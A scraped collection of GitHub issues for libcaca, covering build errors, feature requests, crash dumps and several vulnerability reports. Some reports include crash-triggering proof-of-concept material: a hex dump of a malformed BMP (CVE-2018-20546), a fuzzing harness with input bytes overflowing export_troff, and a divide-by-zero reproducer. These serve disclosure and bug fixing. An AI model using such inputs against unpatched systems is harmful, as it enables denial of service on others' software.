cacalabs / libcaca Goto Github PK
View Code? Open in Web Editor NEW💩 Colour ASCII Art Library
License: Do What The F*ck You Want To Public License
💩 Colour ASCII Art Library
License: Do What The F*ck You Want To Public License
Following vulnerability has been reported to Red Hat issue tracker:
Following vulnerability has been reported to Red Hat issue tracker:
What I'm doing to trigger the activation:
Start the server in Terminal 1
touch ./in; cacaserver < ./in
initialised network, listening on port 51914
[4] connected from 127.0.0.1
Running nc in terminal 2
nc localhost 51914
Triggering the response in terminal 3
cat edge226.caca > ./in
Response in terminal 2 happens only once and only if the inital in file is empty.
Also attempted with a fifo file and this broke it completely and cacaserver did not even initialize listening on the network port.
I would have thought that cacaserver would have been able to refresh and take in more data after the first set.
👋 Hello, @samhocevar, @Jylam, @bsittler - a potential medium severity Heap-based Buffer Overflow vulnerability in your repository has been disclosed to us.
1️⃣ Visit https://huntr.dev/bounties/1-other-cacalabs/libcaca for more advisory information.
2️⃣ Sign-up to validate or speak to the researcher for more assistance.
3️⃣ Propose a patch or outsource it to our community - whoever fixes it gets paid.
Join us on our Discord and a member of our team will be happy to help! 🤗
Speak to a member of our team: @JamieSlome
This issue was automatically generated by huntr.dev - a bug bounty board for securing open source code.
Hello
the current git repo fix a bug when compiling with MSYS2 + mingw-w64 (vsnprintf redefinition)
is a new release planned soon ?
thank you
Following vulnerability has been reported to Red Hat issue tracker:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20546
https://bugzilla.redhat.com/show_bug.cgi?id=1652622
./img2txt POC1
version: libcaca0.99beta19
Summary:
There is an illegal READ memory access at caca/dither.c:1347 (function:get_rgba_default )in libcaca latest version.
Description:
The asan debug is as follows:
$./img2txt POC1
=================================================================
==28249==ERROR: AddressSanitizer: SEGV on unknown address 0x7f88ae6a7004 (pc 0x7f88b2b37857 bp 0x000000000042 sp 0x7ffe82454ed0 T0)
==28249==The signal is caused by a READ memory access.
#0 0x7f88b2b37856 in get_rgba_default /home/company/real/libcaca-master/caca/dither.c:1347
#1 0x7f88b2b3aa16 in caca_dither_bitmap /home/company/real/libcaca-master/caca/dither.c:1009
#2 0x55688cdba96e in main /home/company/real/libcaca-master/src/img2txt.c:210
#3 0x7f88b27581c0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x211c0)
#4 0x55688cdbaf09 in _start (/home/company/real/libcaca-master/install_asan/bin/img2txt+0x2f09)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/company/real/libcaca-master/caca/dither.c:1347 in get_rgba_default
==28249==ABORTING
Confirmed in f1267fb. Minimized sample CVE-2018-20546.zip with afl-tmin (SHA1: b50dccc3ebb25dd13256fc5e59bed2fcd19cc0e4)
00000000 42 4d 30 30 30 30 30 30 30 30 76 00 00 00 28 00 |BM00000000v...(.|
00000010 00 00 00 00 01 00 00 00 01 00 01 00 04 00 00 00 |................|
*
00000021
Compiler optimization might affect results.
It seems I can get the attribute of an (x, y) location but can't modify it back...
There is no way to use output ASCII blocks or unicode shades on default img2txt command.
Apparently, the resulting binaries try to use an autodetected Windows console, since every example with caca_create_display() fails
The solution is to disable everything, and only keep ncurses:
./configure --prefix=/usr/local --enable-shared --disable-static --disable-kernel --disable-slang --enable-ncurses --disable-win32 --disable-conio --disable-x11 --disable-gl --disable-cocoa --enable-network --disable-vga --disable-csharp --disable-java --disable-imlib2 --disable-debug --disable-profiling --disable-plugins --disable-doc
For img2text and cacaview, files must be created as uncompressed bmp3, for example with imagemagick:
/mingw64/bin/convert snake.jpg -type Optimize -compress none BMP3:snake.bmp
version: latest commit f42aa68
driver: src/img2txt
Environment: ubuntu 22.04, clang-12
step to reproduce:
export CFLAGS="-fsanitize=address -g"
export CC=clang
./bootstrap
./configure
make -j8
./src/img2txt ./divide_by_0.seed
Sanitizer output:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==25214==ERROR: AddressSanitizer: FPE on unknown address 0x0000004d0433 (pc 0x0000004d0433 bp 0x7fff1cb39010 sp 0x7fff1cb38ee0 T0)
#0 0x4d0433 in main /benchmarks/libcaca/src/img2txt.c:183:42
#1 0x7fa2270f9d8f (/lib/x86_64-linux-gnu/libc.so.6+0x2dd8f)
#2 0x7fa2270f9e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2de3f)
#3 0x421944 in _start (/benchmarks/libcaca/src/img2txt+0x421944)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /benchmarks/libcaca/src/img2txt.c:183:42 in main
==25214==ABORTING
#POC
divide_by_0.zip
##Credit
Han Zheng
NCNIPC of China
Hexhive
Hello,
I noticed a bug when running mps-youtube with mpv on some occasions libcaca crashes mpv.
The source of the problem is that libcaca uses the setlocale function (here and here), and in languages that have comma as decimal mark this can lead to abnormal behavior.
The issue was also discussed here.
Can you take a look at this?
S.
There's a minor typo in 'img2txt --help' output. It gives:
Example : img2txt -w 80 -f ansi ./caca.png
It should be -W instad of -w.
It's present in 2 places according to search:
Hello,
in common-image.c the following code will overflow on 32 bit systems
/* Allocate the pixel buffer */
im->pixels = malloc(im->w * im->h * depth);
if the product is larger than the maximum value of an unsigned 32 bit integer. This is reproducible with the latest POCs e.g. here
I have prepared a patch that adds an overflow check. I assumed a 2GB image should be a sane limit.
https://gist.github.com/apoleon/24df7819b257faade31125303e91e4a2
Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment
System info:
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1
libcaca version e4968ba
Verification steps:
1.Get the source code of libcaca
2.Compile the libcaca.so library
$ cd libcaca
$ ./bootstrap
$ ./configure
$ make
or
$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb"
$ make
3.Create the poc_troff.cc && build
#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>
using namespace std;
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
if(Size<8) return 0;
size_t len=0;
char* buffer = (char*)malloc(Size+1);
memset(buffer,0,Size);
memcpy(buffer,Data,Size);
buffer[Size]='\0';
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
for(int i=0;i<4;i++)
caca_create_frame(cv,0);
for(int i=0;i<4;i++){
caca_set_frame(cv,i);
caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
}
void* reData = caca_export_canvas_to_memory(cv,"troff",&len);
if(reData!=NULL) free(reData);
caca_free_canvas(cv);
cv=NULL;
free(buffer);
buffer=NULL;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] = {0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11};
len = sizeof(buffer)/sizeof(unsigned char);
LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
return 0;
}
4.compile poc_troff.cc
clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_troff
5.Run poc_troff
asan info:
==1845916==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f28d47e8140 at pc 0x7f28d46fb799 bp 0x7ffe8c4ce450 sp 0x7ffe8c4ce448
READ of size 8 at 0x7f28d47e8140 thread T0
#0 0x7f28d46fb798 in export_troff /home/hh/Downloads/libcaca/caca/codec/export.c:1029:48
#1 0x7f28d46fb798 in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:120:16
#2 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_troff.cc:29:18
#3 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_troff.cc:44:2
#4 0x7f28d414a0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x41c39d in _start (/home/hh/Downloads/libcaca/poc_troff+0x41c39d)
0x7f28d47e8140 is located 0 bytes to the right of global variable 'ansi2troff' defined in 'codec/export.c:1015:33' (0x7f28d47e80c0) of size 128
SUMMARY: AddressSanitizer: global-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/export.c:1029:48 in export_troff
Shadow bytes around the buggy address:
0x0fe59a8f4fd0: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00
0x0fe59a8f4fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f4ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f5000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f5010: 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
=>0x0fe59a8f5020: 00 00 00 00 00 00 00 00[f9]f9 f9 f9 00 00 00 00
0x0fe59a8f5030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f5040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f5050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f5060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f5070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1845916==ABORTING
I don't know if I'm asking for something stupid, but seeing which graphical renderings are available (OpenGL, X11, etc) I miss Wayland's one.
Thanks a lot
Hi,
It seems that with cppunit 1.14 and GCC 5.40, tests fail to compile. Adding -std=c++11
to CXXFLAGS
fixes the problem.
make all-recursive
make[1]: Entering directory '/tmp/libcaca'
Making all in kernel
make[2]: Entering directory '/tmp/libcaca/kernel'
make[2]: Nothing to be done for 'all'.
make[2]: Leaving directory '/tmp/libcaca/kernel'
Making all in caca
make[2]: Entering directory '/tmp/libcaca/caca'
Making all in .
make[3]: Entering directory '/tmp/libcaca/caca'
make[3]: Nothing to be done for 'all-am'.
make[3]: Leaving directory '/tmp/libcaca/caca'
Making all in t
make[3]: Entering directory '/tmp/libcaca/caca/t'
CXX caca_test-canvas.o
In file included from /usr/lib/gcc/x86_64-pc-linux-gnu/5.4.0/include/g++-v5/type_traits:35:0,
from /usr/include/cppunit/tools/StringHelper.h:7,
from /usr/include/cppunit/TestAssert.h:8,
from /usr/include/cppunit/TestCase.h:6,
from /usr/include/cppunit/TestCaller.h:5,
from /usr/include/cppunit/extensions/HelperMacros.h:9,
from canvas.cpp:15:
/usr/lib/gcc/x86_64-pc-linux-gnu/5.4.0/include/g++-v5/bits/c++0x_warning.h:32:2: error: #error This file requires compiler and library support for the ISO C++ 2011 standard. This support must be enabled with the -std=c++11 or -std=gnu++11 compiler options.
#error This file requires compiler and library support \
^
In file included from /usr/include/cppunit/TestAssert.h:8:0,
from /usr/include/cppunit/TestCase.h:6,
from /usr/include/cppunit/TestCaller.h:5,
from /usr/include/cppunit/extensions/HelperMacros.h:9,
from canvas.cpp:15:
/usr/include/cppunit/tools/StringHelper.h:22:15: error: ‘enable_if’ in namespace ‘std’ does not name a template type
typename std::enable_if<!std::is_enum<T>::value, std::string>::type toString(const T& x)
^
/usr/include/cppunit/tools/StringHelper.h:22:24: error: expected unqualified-id before ‘<’ token
typename std::enable_if<!std::is_enum<T>::value, std::string>::type toString(const T& x)
^
/usr/include/cppunit/tools/StringHelper.h:31:15: error: ‘enable_if’ in namespace ‘std’ does not name a template type
typename std::enable_if<std::is_enum<T>::value, std::string>::type toString(const T& x)
^
/usr/include/cppunit/tools/StringHelper.h:31:24: error: expected unqualified-id before ‘<’ token
typename std::enable_if<std::is_enum<T>::value, std::string>::type toString(const T& x)
^
In file included from /usr/include/cppunit/Exception.h:4:0,
from /usr/include/cppunit/TestCaller.h:4,
from /usr/include/cppunit/extensions/HelperMacros.h:9,
from canvas.cpp:15:
/usr/include/cppunit/TestAssert.h: In static member function ‘static std::__cxx11::string CppUnit::assertion_traits<T>::toString(const T&)’:
/usr/include/cppunit/TestAssert.h:74:16: error: ‘toString’ is not a member of ‘CppUnit::StringHelper’
return CPPUNIT_NS::StringHelper::toString(x);
^
In file included from /usr/include/cppunit/extensions/HelperMacros.h:9:0,
from canvas.cpp:15:
/usr/include/cppunit/TestCaller.h: At global scope:
/usr/include/cppunit/TestCaller.h:159:37: error: ‘std::function’ has not been declared
TestCaller(std::string name, std::function<void()> test_function, Fixture* fixture):
^
/usr/include/cppunit/TestCaller.h:159:45: error: expected ‘,’ or ‘...’ before ‘<’ token
TestCaller(std::string name, std::function<void()> test_function, Fixture* fixture):
^
/usr/include/cppunit/TestCaller.h:200:8: error: ‘function’ in namespace ‘std’ does not name a template type
std::function<void()> m_test_function;
^
/usr/include/cppunit/TestCaller.h: In constructor ‘CppUnit::TestCaller<Fixture>::TestCaller(std::__cxx11::string, CppUnit::TestCaller<Fixture>::TestMethod)’:
/usr/include/cppunit/TestCaller.h:121:6: error: class ‘CppUnit::TestCaller<Fixture>’ does not have any field named ‘m_test_function’
m_test_function( std::bind(test, m_fixture) )
^
/usr/include/cppunit/TestCaller.h:121:23: error: ‘bind’ is not a member of ‘std’
m_test_function( std::bind(test, m_fixture) )
^
/usr/include/cppunit/TestCaller.h: In constructor ‘CppUnit::TestCaller<Fixture>::TestCaller(std::__cxx11::string, CppUnit::TestCaller<Fixture>::TestMethod, Fixture&)’:
/usr/include/cppunit/TestCaller.h:138:6: error: class ‘CppUnit::TestCaller<Fixture>’ does not have any field named ‘m_test_function’
m_test_function( std::bind(test, &fixture) )
^
/usr/include/cppunit/TestCaller.h:138:23: error: ‘bind’ is not a member of ‘std’
m_test_function( std::bind(test, &fixture) )
^
/usr/include/cppunit/TestCaller.h: In constructor ‘CppUnit::TestCaller<Fixture>::TestCaller(std::__cxx11::string, CppUnit::TestCaller<Fixture>::TestMethod, Fixture*)’:
/usr/include/cppunit/TestCaller.h:155:6: error: class ‘CppUnit::TestCaller<Fixture>’ does not have any field named ‘m_test_function’
m_test_function( std::bind(test, fixture) )
^
/usr/include/cppunit/TestCaller.h:155:23: error: ‘bind’ is not a member of ‘std’
m_test_function( std::bind(test, fixture) )
^
/usr/include/cppunit/TestCaller.h: In constructor ‘CppUnit::TestCaller<Fixture>::TestCaller(std::__cxx11::string, int)’:
/usr/include/cppunit/TestCaller.h:162:17: error: ‘fixture’ was not declared in this scope
m_fixture(fixture),
^
/usr/include/cppunit/TestCaller.h:163:7: error: class ‘CppUnit::TestCaller<Fixture>’ does not have any field named ‘m_test_function’
m_test_function(test_function)
^
/usr/include/cppunit/TestCaller.h:163:23: error: ‘test_function’ was not declared in this scope
m_test_function(test_function)
^
/usr/include/cppunit/TestCaller.h: In member function ‘void CppUnit::TestCaller<Fixture>::runTest()’:
/usr/include/cppunit/TestCaller.h:175:23: error: there are no arguments to ‘m_test_function’ that depend on a template parameter, so a declaration of ‘m_test_function’ must be available [-fpermissive]
m_test_function();
^
/usr/include/cppunit/TestCaller.h:175:23: note: (if you use ‘-fpermissive’, G++ will accept your code, but allowing the use of an undeclared name is deprecated)
In file included from /usr/include/cppunit/Exception.h:4:0,
from /usr/include/cppunit/TestCaller.h:4,
from /usr/include/cppunit/extensions/HelperMacros.h:9,
from canvas.cpp:15:
/usr/include/cppunit/extensions/TestNamer.h: In member function ‘std::__cxx11::string CppUnit::TestNamer::getTestNameFor(const string&, const E&) const’:
/usr/include/cppunit/extensions/TestNamer.h:70:69: error: ‘toString’ is not a member of ‘CppUnit::StringHelper’
return getTestNameFor(testMethodName) + " with parameter: " + CPPUNIT_NS::StringHelper::toString(val);
^
In file included from canvas.cpp:15:0:
canvas.cpp: In static member function ‘static CppUnit::TestSuite* CanvasTest::suite()’:
canvas.cpp:29:5: error: ‘unique_ptr’ is not a member of ‘std’
CPPUNIT_TEST_SUITE_END();
^
canvas.cpp:29:5: error: expected primary-expression before ‘>’ token
CPPUNIT_TEST_SUITE_END();
^
canvas.cpp:29:5: error: ‘guard’ was not declared in this scope
CPPUNIT_TEST_SUITE_END();
^
In file included from /usr/include/cppunit/extensions/HelperMacros.h:9:0,
from canvas.cpp:15:
/usr/include/cppunit/TestCaller.h: In instantiation of ‘void CppUnit::TestCaller<Fixture>::runTest() [with Fixture = CanvasTest]’:
canvas.cpp:109:44: required from here
/usr/include/cppunit/TestCaller.h:175:22: error: ‘m_test_function’ was not declared in this scope
m_test_function();
^
make[3]: *** [Makefile:753: caca_test-canvas.o] Error 1
make[3]: Leaving directory '/tmp/libcaca/caca/t'
make[2]: *** [Makefile:1176: all-recursive] Error 1
make[2]: Leaving directory '/tmp/libcaca/caca'
make[1]: *** [Makefile:543: all-recursive] Error 1
make[1]: Leaving directory '/tmp/libcaca'
make: *** [Makefile:437: all] Error 2
When looking at packaging the new beta20 release for Gentoo, I hit the following error:
x86_64-pc-linux-gnu-gcc -m32 -DHAVE_CONFIG_H -I. -I/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src -I.. -I/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20 -I/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/caca -I../caca -DLIBCACA=1 -DX_DISPLAY_MISSING=1 -O2 -pipe -march=native -fdiagnostics-color=always -frecord-gcc-switches -ggdb3 -UCACA_ENABLE_VISIBILITY -g -O2 -fno-strength-reduce -fomit-frame-pointer -Wall -Wpointer-arith -Wcast-align -Wcast-qual -Wstrict-prototypes -Wshadow -Waggregate-return -Wmissing-prototypes -Wnested-externs -Wsign-compare -fvisibility=hidden -DCACA_ENABLE_VISIBILITY -c -o cacaview-common-image.o `test -f 'common-image.c' || echo '/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src/'`common-image.c
/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src/common-image.c: In function ‘load_image’:
/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src/common-image.c:164:18: warning: implicit declaration of function ‘_caca_alloc2d’ [-Wimplicit-function-declaration]
164 | im->pixels = _caca_alloc2d(im->w, im->h, depth);
| ^~~~~~~~~~~~~
/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src/common-image.c:164:18: warning: nested extern declaration of ‘_caca_alloc2d’ [-Wnested-externs]
/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src/common-image.c:164:16: warning: assignment to ‘char *’ from ‘int’ makes pointer from integer without a cast [-Wint-conversion]
164 | im->pixels = _caca_alloc2d(im->w, im->h, depth);
| ^
/bin/sh ../libtool --tag=CC --mode=link x86_64-pc-linux-gnu-gcc -m32 -O2 -pipe -march=native -fdiagnostics-color=always -frecord-gcc-switches -ggdb3 -UCACA_ENABLE_VISIBILITY -g -O2 -fno-strength-reduce -fomit-frame-pointer -Wall -Wpointer-arith -Wcast-align -Wcast-qual -Wstrict-prototypes -Wshadow -Waggregate-return -Wmissing-prototypes -Wnested-externs -Wsign-compare -fvisibility=hidden -DCACA_ENABLE_VISIBILITY -fuse-ld=bfd -Wl,--as-needed -o cacaview cacaview-cacaview.o cacaview-common-image.o ../caca/libcaca.la ../caca/libcaca.la -lncurses -ltinfo
libtool: link: x86_64-pc-linux-gnu-gcc -m32 -O2 -pipe -march=native -fdiagnostics-color=always -frecord-gcc-switches -ggdb3 -UCACA_ENABLE_VISIBILITY -g -O2 -fno-strength-reduce -fomit-frame-pointer -Wall -Wpointer-arith -Wcast-align -Wcast-qual -Wstrict-prototypes -Wshadow -Waggregate-return -Wmissing-prototypes -Wnested-externs -Wsign-compare -fvisibility=hidden -DCACA_ENABLE_VISIBILITY -fuse-ld=bfd -o .libs/cacaview cacaview-cacaview.o cacaview-common-image.o -Wl,--as-needed ../caca/.libs/libcaca.so -lncursesw -lz -lncurses -ltinfo
/usr/lib/gcc/x86_64-pc-linux-gnu/11.2.0/../../../../x86_64-pc-linux-gnu/bin/ld.bfd: cacaview-common-image.o: in function `load_image':
/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20/src/common-image.c:164: undefined reference to `_caca_alloc2d'
collect2: error: ld returned 1 exit status
make[2]: *** [Makefile:583: cacaview] Error 1
make[2]: Leaving directory '/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20-abi_x86_32.x86/src'
make[1]: *** [Makefile:546: all-recursive] Error 1
make[1]: Leaving directory '/var/tmp/portage/media-libs/libcaca-0.99_beta20/work/libcaca-0.99.beta20-abi_x86_32.x86'
make: *** [Makefile:440: all] Error 2
* ERROR: media-libs/libcaca-0.99_beta20::gentoo failed (compile phase):
* emake failed
Seems like the use of _caca_alloc2d was introduced in 96ff990 and the common-image usage is outside of the library, so might be exacerbated by 726ede6.
Attached the full build.log.gz.
currently programs that links against libcaca.a seems to get this in XP:
“the procedure entry point _vsnprintf_s could not be located in the dynamic library msvcrt.dll”
beta18 worked fine there however.
When trying gst-build libcaca failed because the macro in caca0.h is of unsupported syntax fro VS
I gurded and changed to the syntax in the documentation for MS to get it to build
#if defined _MSC_VER
#define caca_printf(x, y, f, ...) caca_printf(__caca0_cv, x, y, f, __VA_ARGS__)
#else
#define caca_printf(x, y, f, z...) caca_printf(__caca0_cv, x, y, f, ##z)
#endif
Hello, as a note, I get this:
aking all in caca
/bin/sh ../libtool --tag=CC --mode=compile i686-w64-mingw32-gcc -DHAVE_CONFIG_H -I. -I.. -I.. -DPLUGINDIR="" -D__LIBCACA__ -g -O2 -fno-strength-reduce -fomit-frame-pointer -Wall -Wpointer-arith -Wcast-align -Wcast-qual -Wstrict-prototypes -Wshadow -Waggregate-return -Wmissing-prototypes -Wnested-externs -Wsign-compare -MT libcaca_la-string.lo -MD -MP -MF .deps/libcaca_la-string.Tpo -c -o libcaca_la-string.lo test -f 'string.c' || echo './'
string.c
libtool: compile: i686-w64-mingw32-gcc -DHAVE_CONFIG_H -I. -I.. -I.. -DPLUGINDIR="" -D__LIBCACA__ -g -O2 -fno-strength-reduce -fomit-frame-pointer -Wall -Wpointer-arith -Wcast-align -Wcast-qual -Wstrict-prototypes -Wshadow -Waggregate-return -Wmissing-prototypes -Wnested-externs -Wsign-compare -MT libcaca_la-string.lo -MD -MP -MF .deps/libcaca_la-string.Tpo -c string.c -o libcaca_la-string.o
string.c: In function 'caca_blit':
string.c:458:51: warning: variable 'bleed_left' set but not used [-Wunused-but-set-variable]
int i, j, starti, startj, endi, endj, stride, bleed_left, bleed_right;
^
string.c: At top level:
string.c:619:5: error: redefinition of 'vsnprintf'
int vsnprintf(char s, size_t n, const char *fmt, va_list ap)
^
In file included from string.c:21:0:
/Users/packrd/dev/ruby/ffmpeg-windows-build-helpers/sandbox/mingw-w64-i686/include/stdio.h:543:7: note: previous definition of 'vsnprintf' was here
int vsnprintf (char * restrict stream, size_t __n, const char * __restrict __format, va_list __local_argv)
^
make[2]: ** [libcaca_la-string.lo] Error 1
make[1]: *** [all-recursive] Error 1
make: *** [all] Error 2
(note also that it is near impossible to figure out how to create a login to be able to submit bug reports on this page: http://caca.zoy.org/wiki/libcaca nor is it easy to find that it moved to github, might want to update that). Cheers!
Every time I try to run the Python demos in /python/examples/
, they cause a "Segmentation fault: 11" error.
I'm using libcaca installed via homebrew with Python 2.7 on MacOS X 10.11.5.
I'm attaching the crash reporter dump:
Process: Python [62667]
Path: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
Identifier: Python
Version: 2.7.10 (2.7.10)
Code Type: X86-64 (Native)
Parent Process: bash [34204]
Responsible: Terminal [34201]
User ID: 503
PlugIn Path: /usr/local/lib/libcaca.dylib
PlugIn Identifier: libcaca.dylib
PlugIn Version: ??? (0)
Date/Time: 2016-05-17 15:07:27.433 -0500
OS Version: Mac OS X 10.11.5 (15F34)
Report Version: 11
Anonymous UUID: 2C1D4E6E-BF81-7EDE-7D18-ACE40F4E6AAE
Time Awake Since Boot: 16000 seconds
System Integrity Protection: enabled
Crashed Thread: 0 Dispatch queue: com.apple.main-thread
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x000000005a41e2d0
VM Regions Near 0x5a41e2d0:
-->
__TEXT 000000010c2a8000-000000010c2a9000 [ 4K] r-x/rwx SM=COW /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0 libcaca.dylib 0x000000010c87d23c caca_set_canvas_size + 19
Thread 0 crashed with X86 Thread State (64-bit):
rax: 0x0000000000000000 rbx: 0x000000005a41e2c0 rcx: 0x000000010c674e34 rdx: 0x0000000000000000
rdi: 0x000000005a41e2c0 rsi: 0x0000000000000000 rbp: 0x0000000000000000 rsp: 0x00007fff53956ec0
r8: 0x000000010c817730 r9: 0x000000010c2e5d57 r10: 0x00007fff53956e80 r11: 0x000000010c885f42
r12: 0x0000000000000000 r13: 0x0000000000000004 r14: 0x0000000000000000 r15: 0x000000010c692b94
rip: 0x000000010c87d23c rfl: 0x0000000000010246 cr2: 0x000000005a41e2d0
Logical CPU: 2
Error Code: 0x00000004
Trap Number: 14
Binary Images:
0x10c2a8000 - 0x10c2a8fff org.python.python (2.7.10 - 2.7.10) <307E6E15-ECF7-3BB2-AF06-3E8D23DFDECA> /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
0x10c2ad000 - 0x10c39eff7 org.python.python (2.7.10 - 2.7.10) <83AFAAA7-BDFA-354D-8A7A-8F40A30ACB91> /System/Library/Frameworks/Python.framework/Versions/2.7/Python
0x10c767000 - 0x10c768fff _locale.so (94) <4394AC91-22AE-3D7D-85C4-792A4F35F3F2> /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/_locale.so
0x10c7ed000 - 0x10c7effff zlib.so (94) <72EB0E79-95F2-316C-B49C-A259FEA56658> /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/zlib.so
0x10c7f5000 - 0x10c7f8fff operator.so (94) <D60F7C86-DED4-34F8-BA1B-106E044B6F83> /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/operator.so
0x10c7ff000 - 0x10c800fff _functools.so (94) <49B479ED-A07D-322D-9A29-AFF4CA084219> /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/_functools.so
0x10c805000 - 0x10c813fff _ctypes.so (94) <57C51BC5-542B-3E78-94AC-0AC3DDEAFE8F> /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/_ctypes.so
0x10c81f000 - 0x10c822fff _struct.so (94) <0DCC6B47-A763-3AA6-82C5-B6A58073286B> /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/_struct.so
0x10c86a000 - 0x10c86efff itertools.so (94) <889782F7-5414-3881-BAAB-83CACDFDF0C5> /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/itertools.so
0x10c878000 - 0x10c937fff +libcaca.dylib (0) <3C6CB082-C5D5-32AB-BA61-7E488D77F913> /usr/local/lib/libcaca.dylib
0x10c942000 - 0x10ca46ff7 +libX11.6.dylib (10) <7A05088F-A9CE-32FE-8EA6-2CADF88D47AD> /opt/X11/*/libX11.6.dylib
0x10ca6e000 - 0x10cac2fff +libGL.1.dylib (1.2) <BD0981C1-D367-3235-B35B-CBFA00BF74E0> /opt/X11/*/libGL.1.dylib
0x10caec000 - 0x10cb4efff +libGLU.1.dylib (1.3) <CCB72A2F-0CE3-335E-B782-DE7B29342386> /opt/X11/*/libGLU.1.dylib
0x10cb65000 - 0x10cb8bff7 +libglut.3.dylib (13) <FCF45FCC-053D-3669-891D-2205A12F01C4> /opt/X11/*/libglut.3.dylib
0x10cbb1000 - 0x10cbc3fef +libz.1.dylib (0) <6B60FBDF-AAED-3398-A5E5-02833F3CA82C> /usr/local/lib/libz.1.dylib
0x10cbc7000 - 0x10cbdbfff +libxcb.1.dylib (3) <65314302-2C54-30DB-B383-F9988795490D> /opt/X11/*/libxcb.1.dylib
0x10cbec000 - 0x10cbedfff +libXau.6.dylib (7) <E73524F8-73B3-39D6-AE05-96968BF19DD7> /opt/X11/*/libXau.6.dylib
0x10cbf2000 - 0x10cbf5ff7 +libXdmcp.6.dylib (7) <3C8AF3CB-7971-3AE4-AB65-0B5FE3AD9744> /opt/X11/*/libXdmcp.6.dylib
0x10cbfb000 - 0x10cc08fff +libXplugin.1.dylib (1) <6D15BA8B-1EC0-3E62-BD2D-6E6B5CF3D5C7> /opt/X11/*/libXplugin.1.dylib
0x10cc13000 - 0x10cc13fff +libX11-xcb.1.dylib (2) <2E2BC03E-FFBD-384B-A8A5-DD5CB3C13389> /opt/X11/*/libX11-xcb.1.dylib
